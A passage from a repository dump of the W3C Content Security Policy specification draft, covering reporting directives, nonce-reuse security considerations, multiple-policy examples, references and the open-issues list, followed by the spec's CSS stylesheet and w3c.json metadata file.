        5. If algorithm is not null:

          1. Let actual be the result of base64 encoding the result of applying algorithm to content.

          2. If actual is a case-sensitive match for expression’s base64-value part, return "Matches".

  5. Return "Does Not Match".

6.2. Reporting Directives

Various algorithms in this document hook into the reporting process by constructing a violation object via §2.3.2 Create a violation object for request, policy, and directive or §2.3.1 Create a violation object for global, policy, and directive, and passing that object to §5.3 Report a violation to deliver the report.

6.2.1. report-uri

Note: The report-uri directive is deprecated. Please use the report-to directive instead. If the latter directive is present, this directive will be ignored. To ensure backwards compatibility, we suggest specifying both, like this:
Content-Security-Policy: ...; report-uri https://endpoint.com; report-to groupname

The report-uri directive defines a set of endpoints to which violation reports will be sent when particular behaviors are prevented.

directive-name  = "report-uri"
directive-value = uri-reference *( RWS uri-reference )

; The uri-reference grammar is defined in Section 4.1 of RFC 3986.

The directive has no effect in and of itself, but only gains meaning in combination with other directives.

6.2.2. report-to

The report-to directive defines a reporting group to which violation reports ought to be sent [OOB-REPORTING]. The directive’s behavior is defined in §5.3 Report a violation. The directive’s name and value are described by the following ABNF:

directive-name  = "report-to"
directive-value = token

6.3. Directives Defined in Other Documents

This document defines a core set of directives, and sets up a framework for modular extension by other specifications. At the time this document was produced, the following stable documents extend CSP:

Extensions to CSP MUST register themselves via the process outlined in draft-west-webappsec-csp-reg. In particular, note the criteria discussed in Section 3.2 of that document.

New directives SHOULD use the pre-request check, post-request check, response check, and initialization hooks in order to integrate themselves into Fetch and HTML.

7. Security Considerations

7.1. Nonce Reuse

Nonces override the other restrictions present in the directive in which they’re delivered. It is critical, then, that they remain unguessable, as bypassing a resource’s policy is otherwise trivial.

If a server delivers a nonce-source expression as part of a policy, the server MUST generate a unique value each time it transmits a policy. The generated value SHOULD be at least 128 bits long (before encoding), and SHOULD be generated via a cryptographically secure random number generator in order to ensure that the value is difficult for an attacker to predict.

Note: Using a nonce to whitelist inline script or style is less secure than not using a nonce, as nonces override the restrictions in the directive in which they are present. An attacker who can gain access to the nonce can execute whatever script they like, whenever they like. That said, nonces provide a substantial improvement over 'unsafe-inline' when layering a content security policy on top of old code. When considering 'unsafe-inline', authors are encouraged to consider nonces (or hashes) instead.

8. Authoring Considerations

8.1. The effect of multiple policies

This section is not normative.

The above sections note that when multiple policies are present, each must be enforced or reported, according to its type. An example will help clarify how that ought to work in practice. The behavior of an XMLHttpRequest might seem unclear given a site that, for whatever reason, delivered the following HTTP headers:

Content-Security-Policy: default-src 'self' http://example.com http://example.net;
                         connect-src 'none';
Content-Security-Policy: connect-src http://example.com/;
                         script-src http://example.com/

Is a connection to example.com allowed or not? The short answer is that the connection is not allowed. Enforcing both policies means that a potential connection would have to pass through both unscathed. Even though the second policy would allow this connection, the first policy contains connect-src 'none', so its enforcement blocks the connection. The impact is that adding additional policies to the list of policies to enforce can only further restrict the capabilities of the protected resource.

To demonstrate that further, consider a script tag on this page. The first policy would lock scripts down to 'self', http://example.com and http://example.net via the default-src directive. The second, however, would only allow script from http://example.com/. Script will only load if it meets both policy’s criteria: in this case, the only origin that can match is http://example.com, as both policies allow it.

9. Implementation Considerations

9.1. Vendor-specific Extensions and Addons

Policy enforced on a resource SHOULD NOT interfere with the operation of user-agent features like addons, extensions, or bookmarklets. These kinds of features generally advance the user’s priority over page authors, as espoused in [HTML-DESIGN].

Moreover, applying CSP to these kinds of features produces a substantial amount of noise in violation reports, significantly reducing their value to developers.

Chrome, for example, excludes the chrome-extension: scheme from CSP checks, and does some work to ensure that extension-driven injections are allowed, regardless of a page’s policy.

10. IANA Considerations

The permanent message header field registry should be updated with the following registration: [RFC3864]

10.1. Content-Security-Policy

Header field name
Content-Security-Policy
Applicable protocol
http
Status
standard
Author/Change controller
W3C
Specification document
This specification (See §3.1 The Content-Security-Policy HTTP Response Header Field)

11. Acknowledgements

Lots of people are awesome.

Conformance

Document conventions

Conformance requirements are expressed with a combination of descriptive assertions and RFC 2119 terminology. The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in the normative parts of this document are to be interpreted as described in RFC 2119. However, for readability, these words do not appear in all uppercase letters in this specification.

All of the text of this specification is normative except sections explicitly marked as non-normative, examples, and notes. [RFC2119]

Examples in this specification are introduced with the words "for example" or are set apart from the normative text with class="example", like this:

This is an example of an informative example.

Informative notes begin with the word "Note" and are set apart from the normative text with class="note", like this:

Note, this is an informative note.

Conformant Algorithms

Requirements phrased in the imperative as part of algorithms (such as "strip any leading space characters" or "return false and abort these steps") are to be interpreted with the meaning of the key word ("must", "should", "may", etc) used in introducing the algorithm.

Conformance requirements phrased as algorithms or specific steps can be implemented in any manner, so long as the end result is equivalent. In particular, the algorithms defined in this specification are intended to be easy to understand and are not intended to be performant. Implementers are encouraged to optimize.

Index

Terms defined by this specification

Terms defined by reference

References

Normative References

[ES2015]
Allen Wirfs-Brock. ECMAScript® 2015 Language Specification. URL: http://www.ecma-international.org/ecma-262/6.0/index.html
[FETCH]
Anne van Kesteren. Fetch Standard. Living Standard. URL: https://fetch.spec.whatwg.org/
[HTML]
Ian Hickson. HTML Standard. Living Standard. URL: https://html.spec.whatwg.org/multipage/
[OOB-REPORTING]
Ilya Gregorik; Mike West. Out-of-band Reporting. URL: https://mikewest.github.io/error-reporting/
[SHA2]
FIPS PUB 180-4, Secure Hash Standard. URL: http://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.180-4.pdf
[CSS-CASCADE-4]
Elika Etemad; Tab Atkins Jr.. CSS Cascading and Inheritance Level 4. 8 September 2015. WD. URL: http://www.w3.org/TR/css-cascade-4/
[CSSOM]
Simon Pieters; Glenn Adams. CSS Object Model (CSSOM). 5 December 2013. WD. URL: http://www.w3.org/TR/cssom/
[DOM]
Anne van Kesteren; et al. W3C DOM4. 19 November 2015. REC. URL: http://www.w3.org/TR/dom/
[DOM-LS]
Document Object Model URL: https://dom.spec.whatwg.org/
[HTML5]
Ian Hickson; et al. HTML5. 28 October 2014. REC. URL: http://www.w3.org/TR/html5/
[RFC2119]
S. Bradner. Key words for use in RFCs to Indicate Requirement Levels. March 1997. Best Current Practice. URL: https://tools.ietf.org/html/rfc2119
[RFC3492]
A. Costello. Punycode: A Bootstring encoding of Unicode for Internationalized Domain Names in Applications (IDNA). March 2003. Proposed Standard. URL: https://tools.ietf.org/html/rfc3492
[RFC3864]
G. Klyne; M. Nottingham; J. Mogul. Registration Procedures for Message Header Fields. September 2004. Best Current Practice. URL: https://tools.ietf.org/html/rfc3864
[RFC3986]
T. Berners-Lee; R. Fielding; L. Masinter. Uniform Resource Identifier (URI): Generic Syntax. January 2005. Internet Standard. URL: https://tools.ietf.org/html/rfc3986
[RFC4648]
S. Josefsson. The Base16, Base32, and Base64 Data Encodings. October 2006. Proposed Standard. URL: https://tools.ietf.org/html/rfc4648
[RFC5234]
D. Crocker, Ed.; P. Overell. Augmented BNF for Syntax Specifications: ABNF. January 2008. Internet Standard. URL: https://tools.ietf.org/html/rfc5234
[RFC5988]
M. Nottingham. Web Linking. October 2010. Proposed Standard. URL: https://tools.ietf.org/html/rfc5988
[RFC6454]
A. Barth. The Web Origin Concept. December 2011. Proposed Standard. URL: https://tools.ietf.org/html/rfc6454
[RFC7230]
R. Fielding, Ed.; J. Reschke, Ed.. Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing. June 2014. Proposed Standard. URL: https://tools.ietf.org/html/rfc7230
[RFC7231]
R. Fielding, Ed.; J. Reschke, Ed.. Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content. June 2014. Proposed Standard. URL: https://tools.ietf.org/html/rfc7231
[SERVICE-WORKERS]
Alex Russell; Jungkee Song; Jake Archibald. Service Workers. 25 June 2015. WD. URL: http://www.w3.org/TR/service-workers/
[URL]
Anne van Kesteren; Sam Ruby. URL. 9 December 2014. WD. URL: http://www.w3.org/TR/url-1/
[WORKERS]
Ian Hickson. Web Workers. 24 September 2015. WD. URL: http://www.w3.org/TR/workers/

Informative References

[CSP-DOCUMENT]
Mike West. Content Security Policy: Document Features. URL: https://w3c.github.io/webappsec-csp/document/
[CSP2]
Mike West; Adam Barth; Daniel Veditz. Content Security Policy Level 2. 21 July 2015. CR. URL: http://www.w3.org/TR/CSP2/
[HTML-DESIGN]
Anne Van Kesteren; Maciej Stachowiak. HTML Design Principles. URL: http://www.w3.org/TR/html-design-principles/
[MIX]
Mike West. Mixed Content. 8 October 2015. CR. URL: http://www.w3.org/TR/mixed-content/
[TIMING]
Paul Stone. Pixel Perfect Timing Attacks with HTML5. URL: http://www.contextis.com/documents/2/Browser_Timing_Attacks.pdf
[XHR]
Anne van Kesteren. XMLHttpRequest Standard. Living Standard. URL: https://xhr.spec.whatwg.org/
[APPMANIFEST]
Marcos Caceres; et al. Web App Manifest. 15 December 2015. WD. URL: http://www.w3.org/TR/appmanifest/
[BEACON]
Ilya Grigorik; et al. Beacon. 9 December 2015. WD. URL: http://www.w3.org/TR/beacon/
[EVENTSOURCE]
Ian Hickson. Server-Sent Events. 3 February 2015. REC. URL: http://www.w3.org/TR/eventsource/
[UPGRADE-INSECURE-REQUESTS]
Mike West. Upgrade Insecure Requests. 8 October 2015. CR. URL: http://www.w3.org/TR/upgrade-insecure-requests/
[WEBSOCKETS]
Ian Hickson. The WebSocket API. 20 September 2012. CR. URL: http://www.w3.org/TR/websockets/
[XSLT]
James Clark. XSL Transformations (XSLT) Version 1.0. 16 November 1999. REC. URL: http://www.w3.org/TR/xslt

IDL Index

[Constructor(DOMString type, optional SecurityPolicyViolationEventInit eventInitDict)]
interface SecurityPolicyViolationEvent : Event {
    readonly    attribute DOMString documentURI;
    readonly    attribute DOMString referrer;
    readonly    attribute DOMString blockedURI;
    readonly    attribute DOMString violatedDirective;
    readonly    attribute DOMString effectiveDirective;
    readonly    attribute DOMString originalPolicy;
    readonly    attribute DOMString sourceFile;
    readonly    attribute DOMString statusCode;
    readonly    attribute long      lineNumber;
    readonly    attribute long      columnNumber;
};

dictionary SecurityPolicyViolationEventInit : EventInit {
    DOMString documentURI;
    DOMString referrer;
    DOMString blockedURI;
    DOMString violatedDirective;
    DOMString effectiveDirective;
    DOMString originalPolicy;
    DOMString sourceFile;
    long      lineNumber;
    long      columnNumber;
};

Issues Index

Is this kind of thing specified anywhere? I didn’t see anything that looked useful in [ES2015].
How, exactly, do we get the status code? We don’t actually store it anywhere.
Why sandbox? Can we loosen that?
The algorithm is named "creating a new Document object" in W3C’s HTML, and isn’t well-integrated with Fetch.
Need to monkey-patch these in: something like "Set the Window object’s CSP list to the CSP list of the resource used to generate the document.
The update a style block algorithm does not exist in W3C’s HTML.
The nonce attribute for script and style were added to WHATWG’s HTML in whatwg/html@882803c. They have not yet been added to W3C’s HTML.
The §4.2.3 Should element’s inline type behavior be blocked by Content Security Policy? hooks were added to WHATWG’s HTML in whatwg/html@ee3486e. They aren’t yet in W3C’s HTML.
This hook is in-flight for WHATWG’s HTML. <https://github.com/WHATWG/html/issues/384>
This processing was added to WHATWG’s HTML in whatwg/html@5064a62. It has not yet been added to W3C’s HTML.
TODO.
TODO.
Do something interesting to the execution context in order to lock down eval(), et al. I don’t think ECMA gives us any hooks here, so let’s work with them to put something reasonable together.
This needs to be better explained.
Do something interesting to the execution context in order to lock down interesting CSSOM algorithms. I don’t think CSSOM gives us any hooks here, so let’s work with them to put something reasonable together.
================================================ FILE: published/default.css ================================================ /* * Style sheet for WebAppSec specifications (stolen wholesale from the CSSWG), * to be used in addition to http://www.w3.org/StyleSheets/TR/W3C-{WD,PR,REC} */ @media print { html { margin: 0 !important } body { font-family: serif } th, td { font-family: inherit } a { color: inherit !important } .example:before { font-family: serif !important } a:link, a:visited { text-decoration: none !important } a:link:after, a:visited:after { /* create a cross-ref "see..." */ } } @page { margin: 1.5cm 1.1cm; } body { counter-reset: exampleno figure issue; max-width: 50em; margin: 0 auto !important; } /* Pagination */ h1, h2, h3, h4, h5, h6 { page-break-after: avoid } figure, div.figure, div.sidefigure, pre, table.propdef, table.propdef-extra, .example { page-break-inside: avoid } dt { page-break-after: avoid } span.id {float: right; font-weight: bold} /* General Structural Markup */ h2, h3, h5, h6 { margin-top: 3em; } /* #subtitle is a subtitle in an H2 under the H1 */ h1 + h2, #subtitle + h2 { margin-top: 0; } h4 { margin-top: 4em; } h2 + h3, h3 + h4, h4 + h5, h5 + h6 { margin-top: 1.2em } hr:not([title]) { font-size: 1.5em; text-align: center; margin: 1em auto; border: transparent solid; background: transparent; } hr:not([title])::before { content: "\1F411\2003\2003\1F411\2003\2003\1F411"; } p, div.note, div.issue, details.why { margin-top: 1em; margin-bottom: 1em; } dd > p:first-child, li > p:first-child, .note > p:first-child, .issue > p:first-child { margin-top: 0 } pre { margin-top: 1em; margin-bottom: 1em; } pre, code { font-family: Menlo, Consolas, "DejaVu Sans Mono", monospace; font-size: .9em; } img { border-style: none; color: white; } .toc { } body { line-height: 1.5; } a:link, a:visited { border-bottom: 1px solid silver; color: inherit; text-decoration: none; } a.logo:link, a.logo:visited { padding: 0; border-style: none; } dl dd { margin: 0 0 1em 2em } .head dd { margin-bottom: 0; } ul, ol { margin-left: 0; padding-left: 2em; } li { margin: 0.25em 2em 0.5em 0; padding-left: 0 } ul.indexlist { margin-left: 0; columns: 13em; } ul.indexlist li { margin-left: 0; list-style: none } ul.indexlist li li { margin-left: 1em } ul.indexlist a { font-weight: bold; } ul.indexlist ul, ul.indexlist dl { font-size: smaller; } ul.indexlist dl { margin-top: 0; } ul.indexlist dt { margin: .2em 0 .2em 20px;} ul.indexlist dd { margin: .2em 0 .2em 40px;} /* .self-link is a link to the element */ .heading, .issue, .note, .example, li, dt { position: relative; } a.self-link { position: absolute; top: 0; left: -2.5em; width: 2em; height: 2em; text-align: center; border: none; transition: opacity .2s; opacity: .5; } a.self-link:hover { opacity: 1; } .heading > a.self-link { font-size: 83%; } li > a.self-link { left: -3.5em; } dfn > a.self-link { top: auto; left: auto; opacity: 0; width: 1.5em; height: 1.5em; background: gray; color: white; font-style: normal; transition: opacity .2s, background-color .2s, color .2s; } dfn:hover > a.self-link { opacity: 1; } dfn > a.self-link:hover { color: black; } a.self-link::before { content: "¶"; } .heading > a.self-link::before { content: "§"; } dfn > a.self-link::before { content: "#"; } /* Examples */ .example { counter-increment: exampleno; } .example:before { content: "Example"; content: "Example " counter(exampleno); min-width: 7.5em; text-transform: uppercase; display: block; } div.illegal-example:before, pre.illegal-example:before { content: "Invalid Example"; content: "Invalid Example" counter(exampleno); } .example, .illegal-example, div.html, div.illegal-html, div.xml, div.illegal-xml, pre.html, pre.illegal-html, pre.xml, pre.illegal-xml { padding: 0.5em; margin: 1em 0; position: relative; clear: both; } pre.example, pre.illegal-example, pre.html, pre.illegal-html, pre.xml, pre.illegal-xml { padding-top: 1.5em; } pre.illegal-example { color: red } div.illegal-example { color: red } div.illegal-example p { color: black } div.html { color: #600 } pre.html { color: #600 } pre.illegal-html { color: red } div.illegal-html { color: red } div.illegal-html p { color: black } pre.deprecated-html { color: red } div.deprecated-html { color: red } div.deprecated-html p { color: black } div.xml { color: #600 } pre.xml { color: #600 } pre.illegal-xml { color: red } div.illegal-xml { color: red } div.illegal-xml p { color: black } .css, .property { color: #005a9c } /* inline CSS code (SPAN/CODE) */ code.css { font-family: inherit; font-size: 100% } code.html { color: #600 } /* inline HTML */ code.xml { color: #600 } /* inline XML */ .property { font: inherit; white-space: nowrap; } /* name of a CSS property (SPAN) */ .descriptor { } /* name of a CSS descriptor (SPAN) */ .type { font-style: italic } /* A value for a property */ /* Autolinks produced using Bikeshed. */ [data-link-type="property"]::before, [data-link-type="propdesc"]::before, [data-link-type="descriptor"]::before, [data-link-type="value"]::before, [data-link-type="function"]::before, [data-link-type="at-rule"]::before, [data-link-type="selector"]::before, [data-link-type="maybe"]::before {content: "\2018";} [data-link-type="property"]::after, [data-link-type="propdesc"]::after, [data-link-type="descriptor"]::after, [data-link-type="value"]::after, [data-link-type="function"]::after, [data-link-type="at-rule"]::after, [data-link-type="selector"]::after, [data-link-type="maybe"]::after {content: "\2019";} [data-link-type].production::before, [data-link-type].production::after, .prod [data-link-type]::before, .prod [data-link-type]::after { content: ""; } /* Element-type link styling */ [data-link-type=element] { font-family: monospace; } [data-link-type=element]::before { content: "<" } [data-link-type=element]::after { content: ">" } dfn { font-weight: bolder; } a > i { font-style: normal; } /* Instance of term */ .issue, .note, .example, .why { padding: .5em; /* padding: .5rem; /* proposed unit in css3-values */ border-left-width: .5em; /* border-left-width: .5rem; /* proposed unit in css3-values */ border-left-style: solid; } span.note, span.issue { padding: .1em .5em .15em; border-right-width: .5em; border-right-style: solid; } /* Open issue / editorial remark; not intended for a final publication */ .issue { border-color: #E05252; background: #FBE9E9; counter-increment: issue; overflow: auto; } .issue:before { content: "Issue " counter(issue); padding-right: 1em; text-transform: uppercase; color: #E05252; } /* Class note is a non-normative note. May be inline or a P or DIV */ .note, .why { border-color: #52E052; background: #E9FBE9; overflow: auto; } .normref { color: red } .informref { color: green } /* Example box */ .example { border-color: #E0CB52; background: #FCFAEE; overflow: auto; } .example:before { color: #B9AB2D; font-family: sans-serif; } details.why { border-color: #52E052; background: #E9FBE9; display: block; } details.why > summary { font-style: italic; display: block; } details.why[open] > summary { border-bottom: 1px silver solid; } /* ToC not indented, but font style shows hierarchy */ ul.toc {margin: 1em 0; padding: 0; line-height: 1.3; font-weight: bold; /*text-transform: uppercase;*/ } ul.toc ul {margin: 0; padding: 0; font-weight: normal; text-transform: none; } ul.toc ul ul {margin: 0 0 0 2em; font-style: italic; } ul.toc ul ul ul {margin: 0} ul.toc > li {margin: 1.5em 0; padding: 0; } ul.toc ul.toc li { margin: 0.3em 0 0 0; } ul.toc a { text-decoration: none; border-bottom-style: none; } ul.toc a:hover, ul.toc a:focus { border-bottom-style: solid; } /* ul.toc li li li, ul.toc li li li ul {margin-left: 0; display: inline} ul.toc li li li ul, ul.toc li li li ul li {margin-left: 0; display: inline} */ /* Section numbers in a column of their own */ ul.toc span.secno {float: left; width: 4em; margin-left: -5em} ul.toc ul ul span.secno { margin-left: -7em; } /*ul.toc span.secno {text-align: right}*/ ul.toc li {clear: both} ul.toc {margin-left: 5em} /* If we had 'tab', floats would not be needed here: ul.toc span.secno {tab: 5em right; margin-right: 1em} ul.toc li {text-indent: 5em hanging} The second line in case items wrap */ ul.index { list-style: none; } s, del {text-decoration: line-through; color: red} u, ins {text-decoration: underline; color: #080} div.figure, p.figure, div.sidefigure, figure { text-align: center; margin: 2.5em 0; } div.figure pre, div.sidefigure pre, figure pre { text-align: left; display: table; margin: 1em auto; } .figure table, figure table { margin: auto; } div.sidefigure, figure.sidefigure { float: right; width: 50%; margin: 0 0 0.5em 0.5em } div.figure img, div.sidefigure img, figure img, div.figure object, div.sidefigure object, figure object { display: block; margin: auto; max-width: 100% } p.caption, figcaption, caption { text-align: center; font-style: italic; font-size: 90%; } p.caption:before, figcaption:before { content: "Figure " counter(figure) ". "; font-weight: bold; } p.caption, figcaption { counter-increment: figure; } /* DL list is indented, but figure inside it is not */ dd { margin-left: 2em } dd div.figure, dd figure { margin-left: -2em } sup { vertical-align: super; font-size: 80% } /* "Equations" (not real MathML, but simple HTML) are put in a blockquote and may have an equation number. We make sure the blockquote has enough margin on the right and then put the equation number there. */ blockquote { margin: 0.5em 4em 0.5em 2em; text-indent: 0; } .eqno { text-align: right; float: right; width: 3em; margin: 0 -4em 0 0; font-weight: bold; /* background: silver; color: black; padding: 0.1em */ } table.equiv-table { border-spacing: 0; margin: 0.5em 0 } table.equiv-table th, table.equiv-table td { padding: 0.3em } table.equiv-table th { text-align: left } /* table.equiv-table th:first-child { text-align: right } */ table.equiv-table td, table.equiv-table th { border-bottom: thin solid #666 } table.equiv-table { border-bottom: hidden } table.equiv-table { empty-cells: show } table.equiv-table caption { margin: 0.5em 0 0 0 } /* Style for table of properties */ table.proptable { font-size: small; border-collapse: collapse; border-spacing: 0; text-align: left; margin: 1em 0; } table.proptable td, table.proptable th { padding: 0.4em; text-align: center; } table.proptable tr:hover td { background: #DEF; } /* Style for table that defines a property or a descriptor */ table.propdef, table.propdef-extra, table.descdef, table.definition-table { border-spacing: 0; padding: 0 1em 0.5em; width: 100%; table-layout: fixed; background: #DEF; margin: 1.2em 0; border-left: 0.5em solid #8CCBF2; } table.propdef td, table.propdef-extra td, table.descdef td, table.definition-table td, table.propdef th, table.propdef-extra th, table.descdef th, table.definition-table th { padding: 0.5em; vertical-align: baseline; border-bottom: 1px solid #bbd7e9; } /* table.propdef dfn, table.propdef-extra dfn, table.descdef dfn { font-weight: bold; font-style: normal } */ table.propdef td:first-child, table.propdef-extra td:first-child, table.descdef td:first-child, table.definition-table td:first-child, table.propdef th:first-child, table.propdef-extra th:first-child, table.descdef th:first-child, table.definition-table th:first-child { font-style: italic; font-weight: normal; width: 8.3em; padding-left: 1em; } table.propdef td[colspan]:first-child, table.propdef-extra td[colspan]:first-child, table.descdef td[colspan]:first-child, table.definition-table td[colspan]:first-child, table.propdef th[colspan]:first-child, table.propdef-extra th[colspan]:first-child, table.descdef th[colspan]:first-child, table.definition-table th[colspan]:first-child { font-style: inherit } table.propdef tr:first-child, table.propdef-extra tr:first-child, table.descdef tr:first-child, table.definition-table tr:first-child { } table.propdef > tbody > tr:last-child th, table.propdef-extra > tbody > tr:last-child th, table.descdef > tbody > tr:last-child th, table.definition-table > tbody > tr:last-child th, table.propdef > tbody > tr:last-child td, table.propdef-extra > tbody > tr:last-child td, table.descdef > tbody > tr:last-child td, table.definition-table > tbody > tr:last-child td { border-bottom: 0; } table.propdef tr:first-child th, table.propdef-extra tr:first-child th, table.descdef tr:first-child th, table.definition-table tr:first-child th, table.propdef tr:first-child td, table.propdef-extra tr:first-child td, table.descdef tr:first-child td, table.definition-table tr:first-child td { padding-top: 1em; } /* For when values are extra-complex and need formatting for readability */ table td.pre { white-space: pre-wrap; } /* A footnote at the bottom of a propdef */ table.propdef td.footnote, table.propdef-extra td.footnote, table.descdef td.footnote, table.definition-table td.footnote { padding-top: 0.6em; width: auto } table.propdef td.footnote:before, table.propdef-extra td.footnote:before, table.descdef td.footnote:before, table.definition-table td.footnote:before { content: " "; display: block; height: 0.6em; width: 4em; border-top: thin solid; } /* The link in the first column in the property table (formerly a TD) */ table.proptable td .property, table.proptable th .property { display: block; text-align: left; font-weight: bold; } /* Styling for IDL fragments */ pre.idl { padding: .5em 1em; background: #DEF; margin: 1.2em 0; border-left: 0.5em solid #8CCBF2; } pre.idl :link, pre.idl :visited { color:inherit; background:transparent; } /* CSS modules typically don't use MUST, SHOULD etc. from RFC 2119, or, if they do, they don't put them in uppercase. But the following class is provided in case a spec wants to use RFC 2119 terms in uppercase in the source. */ em.rfc2119 { text-transform: lowercase; font-variant: small-caps; font-style: normal } /* In Profile specs, a table of required features: */ table.features th { background: #00589f; color: #fff; text-align: left; padding: 0.2em 0.2em 0.2em 0.5em; } table.features td { vertical-align: top; border-bottom: 1px solid #ccc; padding: 0.3em 0.3em 0.3em 0.7em; } /* Style for data tables (and properly marked-up proptables) */ .data, .proptable { margin: 1em auto; border-collapse: collapse; width: 100%; border: hidden; } .data { text-align: center; width: auto; } .data caption { width: 100%; } .data td, .data th, .proptable td, .proptable th { padding: 0.5em; border-width: 1px; border-color: silver; border-top-style: solid; } .data thead td:empty { padding: 0; border: 0; } .data thead th[scope="row"], .proptable thead th[scope="row"] { text-align: right; color: inherit; } .data thead, .proptable thead, .data tbody, .proptable tbody { color: inherit; border-bottom: 2px solid; } .data colgroup { border-left: 2px solid; } .data tbody th:first-child, .proptable tbody th:first-child , .data tbody td[scope="row"]:first-child, .proptable tbody td[scope="row"]:first-child { text-align: right; color: inherit; border-right: 2px solid; border-top: 1px solid silver; padding-right: 1em; } .data.define td:last-child { text-align: left; } .data tbody th[rowspan], .proptable tbody th[rowspan], .data tbody td[rowspan], .proptable tbody td[rowspan]{ border-left: 1px solid silver; } .data tbody th[rowspan]:first-child, .proptable tbody th[rowspan]:first-child, .data tbody td[rowspan]:first-child, .proptable tbody td[rowspan]:first-child{ border-left: 0; border-right: 1px solid silver; } .complex.data th, .complex.data td { border: 1px solid silver; } .data td.long { vertical-align: baseline; text-align: left; } .data img { vertical-align: middle; } table.propdef { table-layout: auto; } .propdef th { font-style: italic; font-weight: normal; text-align: left; width: 3em; } dt dfn code { font-size: inherit; } /* Style for switch/case
s */ dl.switch { padding-left: 2em; } dl.switch > dt { text-indent: -1.5em; } dl.switch > dt:before { content: '\21AA'; padding: 0 0.5em 0 0; display: inline-block; width: 1em; text-align: right; line-height: 0.5em; } /* Style for At Risk features (intended as editorial aid, not intended for publishing) */ .atrisk::before { position: absolute; margin-left: -5em; margin-top: -2px; padding: 4px; border: 1px solid; content: 'At risk'; font-size: small; background-color: white; color: gray; border-radius: 1em; text-align: center; } .toc .atrisk::before { content:none } /* This is mostly to make the list inside the CR exit criteria more compact. */ ol.inline, ol.inline li {display: inline; padding: 0; margin: 0} ol.inline {counter-reset: list-item} ol.inline li {counter-increment: list-item} ol.inline li:before {content: "(" counter(list-item) ") "; font-weight: bold} /* This styles the obsoletion notice on some of our older/abandoned specs. */ details.annoying-warning[open] { background: #fdd; color: red; font-weight: bold; text-align: center; padding: .5em; border: thick solid red; border-radius: 1em; position: fixed; left: 1em; right: 1em; bottom: 1em; z-index: 1000; } details.annoying-warning:not([open]) > summary { background: #fdd; color: red; font-weight: bold; text-align: center; padding: .5em; } ================================================ FILE: w3c.json ================================================ { "group": [ "49309" ], "contacts": [ "wseltzer" ], "shortName": "csp", "repo-type": "rec-track" }